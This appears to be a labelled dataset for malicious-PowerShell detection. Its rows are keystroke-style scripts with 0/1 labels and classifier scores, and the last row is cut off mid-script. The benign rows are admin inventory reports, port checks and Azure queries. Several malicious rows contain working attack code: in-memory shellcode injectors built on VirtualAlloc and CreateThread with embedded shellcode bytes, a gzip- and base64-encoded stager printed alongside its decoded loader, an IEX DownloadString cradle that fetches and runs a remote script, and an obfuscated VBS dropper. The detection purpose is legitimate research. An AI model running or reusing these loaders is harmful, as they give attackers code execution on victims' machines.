[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fwfaCeqD kernel32.dll VirtualAlloc), (iCjCN1Zma @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wHzDn2ZFqGM.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($wHzDn2ZFqGM, 0, $nOkJeRa, $wHzDn2ZFqGM.length) enter enter $cTos9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fwfaCeqD kernel32.dll CreateThread), (iCjCN1Zma @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$nOkJeRa,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fwfaCeqD kernel32.dll WaitForSingleObject), (iCjCN1Zma @([IntPtr], [Int32]))).Invoke($cTos9,0xffffffff) | Out-Null enter enter",1,1,5.4999935e-05,0.99994504
"win+r enter powershell enter enter enter [CmdletBinding()] enter [OutputType([System.Management.Automation.PSCustomObject])] enter param ( enter [Parameter(Mandatory)] enter [ValidateScript({ Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [string[]]$Computername, enter [Parameter(Mandatory)] enter [ValidateSet('WinRm','Smb','Dns','ActiveDirectoryGeneral','ActiveDirectoryGlobalCatalog','NetBios')] enter [string[]]$ServerRole enter ) enter begin { enter enter function Test-Port { enter enter [CmdletBinding(DefaultParameterSetName = 'TCP')] enter [OutputType([System.Management.Automation.PSCustomObject])] enter param ( enter [Parameter(Mandatory)] enter [string[]]$ComputerName, enter [Parameter(Mandatory)] enter [int[]]$Port, enter [Parameter(Mandatory)] enter [ValidateSet('TCP', 'UDP')] enter [string]$Protocol, enter [Parameter(ParameterSetName = 'TCP')] enter [int]$TcpTimeout = 1000, enter [Parameter(ParameterSetName = 'UDP')] enter [int]$UdpTimeout = 1000 enter ) enter process { enter foreach ($Computer in $ComputerName) { enter foreach ($Portx in $Port) { enter $Output = @{ 'Computername' = $Computer; 'Port' = $Portx; 'Protocol' = $Protocol; 'Result' = '' } enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - Beginning port test on '$Computer' on port '$Protocol`:$Portx'"" enter if ($Protocol -eq 'TCP') { enter $TcpClient = New-Object System.Net.Sockets.TcpClient enter $Connect = $TcpClient.BeginConnect($Computer, $Portx, $null, $null) enter $Wait = $Connect.AsyncWaitHandle.WaitOne($TcpTimeout, $false) enter if (!$Wait) { enter $TcpClient.Close() enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - '$Computer' failed port test on port '$Protocol`:$Portx'"" enter $Output.Result = $false enter } else { enter $TcpClient.EndConnect($Connect) enter $TcpClient.Close() enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - '$Computer' passed port test on port '$Protocol`:$Portx'"" enter $Output.Result = $true enter } enter $TcpClient.Close() enter $TcpClient.Dispose() enter } elseif ($Protocol -eq 'UDP') { enter $UdpClient = New-Object System.Net.Sockets.UdpClient enter $UdpClient.Client.ReceiveTimeout = $UdpTimeout enter $UdpClient.Connect($Computer, $Portx) enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - Sending UDP message to computer '$Computer' on port '$Portx'"" enter $a = new-object system.text.asciiencoding enter $byte = $a.GetBytes(""$(Get-Date)"") enter [void]$UdpClient.Send($byte, $byte.length) enter enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - Creating remote endpoint"" enter $remoteendpoint = New-Object system.net.ipendpoint([system.net.ipaddress]::Any, 0) enter try { enter enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - Waiting for message return"" enter $receivebytes = $UdpClient.Receive([ref]$remoteendpoint) enter [string]$returndata = $a.GetString($receivebytes) enter If ($returndata) { enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - '$Computer' passed port test on port '$Protocol`:$Portx'"" enter $Output.Result = $true enter } enter } catch { enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - '$Computer' failed port test on port '$Protocol`:$Portx' with error '$($_.Exception.Message)'"" enter $Output.Result = $false enter } enter $UdpClient.Close() enter $UdpClient.Dispose() enter } enter [pscustomobject]$Output enter } enter } enter } enter } enter enter $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop enter enter $PortGroups = @{ enter 'WinRm' = @{ 'TCP' = 5985} enter 'Smb' = @{ 'TCP' = 445; 'UDP' = 445 } enter 'Dns' = @{ 'TCP' = 53; 'UDP' = 53 } enter 'ActiveDirectoryGeneral' = @{ 'TCP' = 25, 88, 389, 464, 636, 5722, 9389; 'UDP' = 88,123,389,464 } enter 'ActiveDirectoryGlobalCatalog' = @{ 'TCP' = 3268, 3269 } enter 'NetBios' = @{ 'TCP' = 135, 137, 138, 139; 'UDP' = 137,138,139 } enter } enter } enter process { enter foreach ($Computer in $Computername) { enter Write-Verbose ""Beginning port tests on computer '$Computer'"" enter try { enter $TestPortGroups = $PortGroups.GetEnumerator() | where { $ServerRole -contains $_.Key } enter Write-Verbose ""Found '$($TestPortGroups.Count)' port group(s) to test"" enter foreach ($PortGroup in $TestPortGroups) { enter $PortGroupName = $PortGroup.Key enter $PortGroupValues = $PortGroup.Value enter foreach ($Value in $PortGroupValues.GetEnumerator()) { enter $Protocol = $Value.Key enter $Ports = $Value.Value enter $TestResult = Test-Port -ComputerName $Computer -Protocol $Protocol -Port $Ports enter $TestResult | Add-Member -MemberType 'NoteProperty' -Name 'PortSet' -Value $PortGroupName enter $TestResult enter } enter } enter } catch { enter Write-Verbose ""$($MyInvocation.MyCommand.Name) - Computer: $Computer - Error: $($_.Exception.Message) - Line Number: $($_.InvocationInfo.ScriptLineNumber)"" enter $false enter } enter } enter } enter enter",0,0,0.98859274,0.011407185
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_kr52npp9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.420815e-05
win+r enter powershell enter enter enter dir c:\;sleep(5);Set-ExecutionPolicy Bypass -Scope Process;sleep(5);dir d:\;IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1/detxt.ps1') );dir c:\;detxt http://127.0.0.1/1.txt; enter enter,1,1,5.7008943e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_3iftp83s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter",0,0,0.999966,3.399689e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, HelpMessage=""Site server where the SMS Provider is installed"")] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [string]$SiteServer, enter [parameter(Mandatory=$true, HelpMessage=""Specify a Device names that has a user machine relationship that will be removed"")] enter [ValidateNotNullOrEmpty()] enter [string[]]$DeviceName enter ) enter Begin { enter enter try { enter Write-Verbose ""Determining SiteCode for Site Server: '$($SiteServer)'"" enter $SiteCodeObjects = Get-WmiObject -Namespace ""root\SMS"" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop enter foreach ($SiteCodeObject in $SiteCodeObjects) { enter if ($SiteCodeObject.ProviderForLocalSite -eq $true) { enter $SiteCode = $SiteCodeObject.SiteCode enter Write-Debug ""SiteCode: $($SiteCode)"" enter } enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" ; break enter } enter catch [Exception] { enter Write-Warning -Message ""Unable to determine SiteCode"" ; break enter } enter } enter Process { enter try { enter foreach ($Device in $DeviceName) { enter $UserMachineRelations = Get-WmiObject -Namespace ""root\SMS\site_$($SiteCode)"" -Class SMS_UserMachineRelationship -ComputerName $SiteServer -Filter ""ResourceName like '$($Device)'"" enter if ($UserMachineRelations -ne $null) { enter if ($PSCmdlet.ShouldProcess($UserMachineRelations.__PATH, ""Remove"")) { enter Remove-WmiObject -InputObject $UserMachineRelations enter } enter } enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" enter } enter catch [Exception] { enter Write-Error -Message ""An error occured while trying to remove a WMI instance"" enter } enter } enter enter",0,0,0.99991965,8.0339356e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_d4qkt7pv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter",0,0,0.9999653,3.4659923e-05
"win+r powershell enter $s=New-ObjectIO.MemoryStream(,[Convert]::FromBase64String(""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""));IEX(New-ObjectIO.StreamReader(New-ObjectIO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); enter [decoded_payloads] enter [decoded:from_base64_string] enter Set-StrictMode -Version 2 enter $DoIt = @' enter function func_get_proc_address { enter Param ($var_module, $var_procedure) enter $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) enter } enter function func_get_delegate_type { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, enter [Parameter(Position = 1)] [Type] $var_return_type = [Void] enter ) enter $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') enter $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') enter return $var_type_builder.CreateType() enter } enter [Byte[]]$var_code = [System.Convert]::FromBase64String(""/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBXT1c2NDsgVHJpZGVudC81LjApAFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAFkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaHgjAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vWHc1WAAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3////MTkyLjE2OC44OC45NgA="") enter $var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) enter $var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null enter '@ enter If ([IntPtr]::size -eq 8) { enter start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job enter } enter else { enter IEX $DoIt enter } enter",1,1,5.532434e-05,0.9999447
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_d8zdaw7t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.377051e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_2e04s2j3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_15.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3790486e-05
win b ctrl l url enter,1,1,0.17052118,0.8294788
"win+r powershell enter $a = ""C:\Progra/mData\Do/cume/nt"".Replace(""/"","""") New-Item $a -ItemType Directo enter ry -Force Sleep 2 $Content = @' on error resume next Set objShell = CreateObje enter ct(""Wscript.Shell"") objShell.Run(""Powershell -ExecutionPolicy Bypass $a='ReadAll enter Text';$T='C:\ProgramData\Document\Report.ps1';IEx([IO.File]::$a($T))""),0 '@ enter enter",1,1,0.000100212485,0.99989974
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_qynkd8n6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3793964e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_jvrb5wd3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3978355e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_810phro8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3770157e-05
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter enter $lpquery = @"" enter SELECT enter COUNT(Protocol, enter substr(ForeignAddress, 0, last_index_of(substr(ForeignAddress, 0, last_index_of(ForeignAddress, '.')), '.')), enter State, enter Component, enter Process) as Cnt, enter Protocol, enter substr(ForeignAddress, 0, last_index_of(substr(ForeignAddress, 0, last_index_of(ForeignAddress, '.')), '.')) as IP/16, enter State, enter Component, enter Process enter FROM enter *netstat.csv enter WHERE enter ConPid not in ('0'; '4') and enter ForeignAddress not like '10.%' and enter ForeignAddress not like '169.254%' and enter ForeignAddress not in ('*'; '0.0.0.0'; enter '127.0.0.1'; '[::]'; '[::1]') enter GROUP BY enter Protocol, enter IP/16, enter State, enter Component, enter Process enter ORDER BY enter Cnt, Process desc enter ""@ enter enter & logparser -stats:off -i:csv -dtlines:0 -rtp:-1 $lpquery enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x6d,0xe8,0xe3,0x95,0x68,0x02,0x00,0x85,0xba,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1084367e-05,0.99994886
"win+r enter powershell enter enter enter Function Get-AzureRmVmPublicIP { enter enter [cmdletbinding()] enter param( enter [string[]]$ResourceGroupName, enter [string[]]$VMName, enter [switch]$IncludeObjects, enter [switch]$VMStatus enter ) enter enter foreach($ResourceGroup in $ResourceGroupName) enter { enter Try enter { enter $AllVMs = @( Get-AzureRMVm -ResourceGroupName $ResourceGroup -ErrorAction Stop ) enter } enter Catch enter { enter Write-Error $_ enter Write-Error ""Could not extract VMs from resource group '$ResourceGroup'"" enter continue enter } enter Try enter { enter $NICS = @( Get-AzureRmNetworkInterface -ResourceGroupName $ResourceGroup -ErrorAction Stop ) enter } enter Catch enter { enter Write-Error $_ enter Write-Error ""Could not extract network interfaces from resource group '$ResourceGroup'"" enter continue enter } enter Try enter { enter $PublicIPS = @( Get-AzureRmPublicIpAddress -ResourceGroupName $ResourceGroup -ErrorAction Stop) enter } enter Catch enter { enter Write-Error $_ enter Write-Error ""Could not extract public IPs from resource group '$ResourceGroup'"" enter continue enter } enter $TheseVMs = foreach($VM in $AllVMs) enter { enter if($VMName) enter { enter foreach($Name in $VMName) enter { enter if($VM.Name -like $Name) enter { enter $VM enter } enter } enter } enter else enter { enter $VM enter } enter } enter $TheseVMs = @( $TheseVMs | Sort Name -Unique ) enter Foreach($nic in $nics) enter { enter $VMs = $null enter $VMs = $TheseVMs.Where({$_.Id -eq $nic.virtualmachine.id}) enter $PIPS = $null enter $PIPS = $PublicIPS.Where({$_.Id -eq $nic.IpConfigurations.publicipaddress.id}) enter foreach($VM in $VMs) enter { enter if($VMStatus) enter { enter Try enter { enter $VMDetail = Get-AzureRMVm -ResourceGroupName $ResourceGroup -Status -Name $VM.Name -ErrorAction stop enter } enter Catch enter { enter Write-Error $_ enter Write-Error ""Could not extract '-Status' details from $($VM.Name) in resource group $ResourceGroup. Falling back to non detailed"" enter $VMDetail = $VM enter } enter if(-not $IncludeObjects) enter { enter $IncludeObjects = $True enter } enter } enter else enter { enter $VMDetail = $VM enter } enter enter foreach($PIP in $PIPS) enter { enter enter $Output = [ordered]@{ enter ResourceGroupName = $ResourceGroup enter VMName = $VM.Name enter NICName = $nic.Name enter PublicIP = $PIP.IpAddress enter } enter enter if($IncludeObjects) enter { enter $Output.Add('VM', $VMDetail) enter 